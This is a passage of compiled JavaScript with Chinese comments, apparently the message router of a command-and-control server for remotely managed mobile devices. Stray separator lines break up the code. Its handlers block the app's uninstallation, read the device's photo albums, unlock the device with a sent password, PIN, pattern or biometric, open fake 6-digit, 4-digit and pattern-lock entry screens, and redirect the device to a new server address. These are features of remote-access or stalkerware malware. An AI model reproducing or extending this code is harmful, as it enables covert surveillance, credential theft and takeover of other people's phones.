this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送启用防止卸载保护的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'ENABLE_UNINSTALL_PROTECTION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
// 保存状态到数据库
|
||
this.databaseService.updateDeviceUninstallProtection(deviceId, true);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: true,
|
||
enabled: true,
|
||
message: '防止卸载保护已启用'
|
||
});
|
||
this.logger.info(`✅ 防止卸载保护启用成功: 设备=${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
// 设备Socket不可用
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`❌ 启用防止卸载保护失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: false,
|
||
message: '启用防止卸载保护失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🛡️ 处理禁用防止卸载保护的请求
|
||
*/
|
||
handleDisableUninstallProtection(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🛡️ 禁用防止卸载保护: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送禁用防止卸载保护的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'DISABLE_UNINSTALL_PROTECTION',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
// 保存状态到数据库
|
||
this.databaseService.updateDeviceUninstallProtection(deviceId, false);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: true,
|
||
enabled: false,
|
||
message: '防止卸载保护已禁用'
|
||
});
|
||
this.logger.info(`✅ 防止卸载保护禁用成功: 设备=${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
// 设备Socket不可用
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`❌ 禁用防止卸载保护失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'uninstall_protection_response', {
|
||
deviceId,
|
||
success: false,
|
||
enabled: true,
|
||
message: '禁用防止卸载保护失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理相册权限检查请求
|
||
*/
|
||
handleGalleryPermissionCheck(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`📸 处理相册权限检查请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送相册权限检查的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'GALLERY_PERMISSION_CHECK',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 相册权限检查命令已发送到设备: ${deviceId}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '设备连接异常'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理相册权限检查请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'gallery_permission_response', {
|
||
deviceId,
|
||
success: false,
|
||
hasPermission: false,
|
||
message: '相册权限检查失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理相册读取请求
|
||
*/
|
||
handleAlbumRead(clientId, deviceId, data) {
|
||
try {
|
||
this.logger.info(`📸 处理相册读取请求: 客户端=${clientId}, 设备=${deviceId}, 数据=${JSON.stringify(data)}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 验证数据格式
|
||
const { albumId, limit, offset } = data || {};
|
||
if (limit && (typeof limit !== 'number' || limit <= 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取限制: ${limit}`);
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '相册读取限制无效,应为正整数'
|
||
});
|
||
return false;
|
||
}
|
||
if (offset && (typeof offset !== 'number' || offset < 0)) {
|
||
this.logger.warn(`⚠️ 无效的相册读取偏移: ${offset}`);
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '相册读取偏移无效,应为非负整数'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送相册读取的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'ALBUM_READ',
|
||
deviceId,
|
||
data: {
|
||
albumId: albumId || null,
|
||
limit: limit || null,
|
||
offset: offset || 0
|
||
},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 相册读取命令已发送到设备: ${deviceId}, albumId=${albumId || 'all'}, limit=${limit || 'unlimited'}, offset=${offset || 0}`);
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '设备连接异常'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理相册读取请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'album_read_response', {
|
||
deviceId,
|
||
success: false,
|
||
albums: [],
|
||
message: '相册读取失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理设备解锁请求
|
||
*/
|
||
handleUnlockDevice(clientId, deviceId, data) {
|
||
try {
|
||
this.logger.info(`🔓 处理设备解锁请求: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 验证解锁数据格式
|
||
const { password, pattern, pin, biometric } = data || {};
|
||
if (!password && !pattern && !pin && !biometric) {
|
||
this.logger.warn(`⚠️ 解锁数据不完整: 需要提供密码、图案、PIN或生物识别信息`);
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '解锁数据不完整,需要提供密码、图案、PIN或生物识别信息'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送解锁的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'UNLOCK_DEVICE',
|
||
deviceId,
|
||
data: {
|
||
password: password || null,
|
||
pattern: pattern || null,
|
||
pin: pin || null,
|
||
biometric: biometric || null
|
||
},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 设备解锁命令已发送到设备: ${deviceId}`);
|
||
// 发送成功响应
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '设备解锁命令已发送'
|
||
});
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接异常'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error('处理设备解锁请求失败:', error);
|
||
this.webClientManager.sendToClient(clientId, 'unlock_device_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备解锁失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 处理打开6位PIN输入界面的请求
|
||
*/
|
||
handleOpenPinInput(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🔐 打开6位PIN输入界面: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送打开6位PIN输入界面的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_PIN_INPUT',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 已发送打开6位PIN输入界面命令到设备 ${deviceId}`);
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开6位PIN输入界面命令已发送'
|
||
});
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`打开6位PIN输入界面失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'pin_input_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开6位PIN输入界面失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 处理打开4位密码输入界面的请求
|
||
*/
|
||
handleOpenFourDigitPin(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🔐 打开4位密码输入界面: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送打开4位密码输入界面的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_FOUR_DIGIT_PIN',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 已发送打开4位密码输入界面命令到设备 ${deviceId}`);
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开4位密码输入界面命令已发送'
|
||
});
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`打开4位密码输入界面失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'four_digit_pin_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开4位密码输入界面失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 🔐 处理打开图形密码输入界面的请求
|
||
*/
|
||
handleOpenPatternLock(clientId, deviceId) {
|
||
try {
|
||
this.logger.info(`🔐 打开图形密码输入界面: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送打开图形密码输入界面的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'OPEN_PATTERN_LOCK',
|
||
deviceId,
|
||
data: {},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 已发送打开图形密码输入界面命令到设备 ${deviceId}`);
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '打开图形密码输入界面命令已发送'
|
||
});
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`打开图形密码输入界面失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'pattern_lock_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '打开图形密码输入界面失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
/**
|
||
* 处理修改服务器地址请求
|
||
*/
|
||
handleChangeServerUrl(clientId, deviceId, data) {
|
||
try {
|
||
this.logger.info(`🌐 修改服务器地址: 客户端=${clientId}, 设备=${deviceId}`);
|
||
// 检查设备是否存在且在线
|
||
const device = this.deviceManager.getDevice(deviceId);
|
||
if (!device || !this.deviceManager.isDeviceOnline(deviceId)) {
|
||
this.logger.warn(`⚠️ 设备不在线: ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备已离线或不存在'
|
||
});
|
||
return false;
|
||
}
|
||
// 检查客户端是否有控制权
|
||
if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) {
|
||
this.logger.warn(`⚠️ 客户端 ${clientId} 无权控制设备 ${deviceId}`);
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '无控制权限,请先申请设备控制权'
|
||
});
|
||
return false;
|
||
}
|
||
// 验证服务器地址数据
|
||
if (!data || !data.serverUrl || typeof data.serverUrl !== 'string' || data.serverUrl.trim() === '') {
|
||
this.logger.warn(`⚠️ 无效的服务器地址: ${data?.serverUrl}`);
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '服务器地址无效,应为非空字符串'
|
||
});
|
||
return false;
|
||
}
|
||
// 向设备发送修改服务器地址的控制命令
|
||
const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId);
|
||
if (deviceSocketId) {
|
||
const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId);
|
||
if (deviceSocket) {
|
||
deviceSocket.emit('control_command', {
|
||
type: 'CHANGE_SERVER_URL',
|
||
deviceId,
|
||
data: {
|
||
serverUrl: data.serverUrl.trim()
|
||
},
|
||
timestamp: Date.now()
|
||
});
|
||
this.logger.info(`✅ 已发送修改服务器地址命令到设备 ${deviceId}: ${data.serverUrl}`);
|
||
// 向客户端发送响应
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: true,
|
||
message: '命令已发送',
|
||
serverUrl: data.serverUrl
|
||
});
|
||
return true;
|
||
}
|
||
}
|
||
this.logger.error(`❌ 无法找到设备 ${deviceId} 的Socket连接`);
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '设备连接已断开'
|
||
});
|
||
return false;
|
||
}
|
||
catch (error) {
|
||
this.logger.error(`修改服务器地址失败:`, error);
|
||
this.webClientManager.sendToClient(clientId, 'change_server_url_response', {
|
||
deviceId,
|
||
success: false,
|
||
message: '修改服务器地址失败'
|
||
});
|
||
return false;
|
||
}
|
||
}
|
||
}
|
||
exports.MessageRouter = MessageRouter;
|
||
exports.default = MessageRouter;
|
||
//# sourceMappingURL=MessageRouter.js.map
|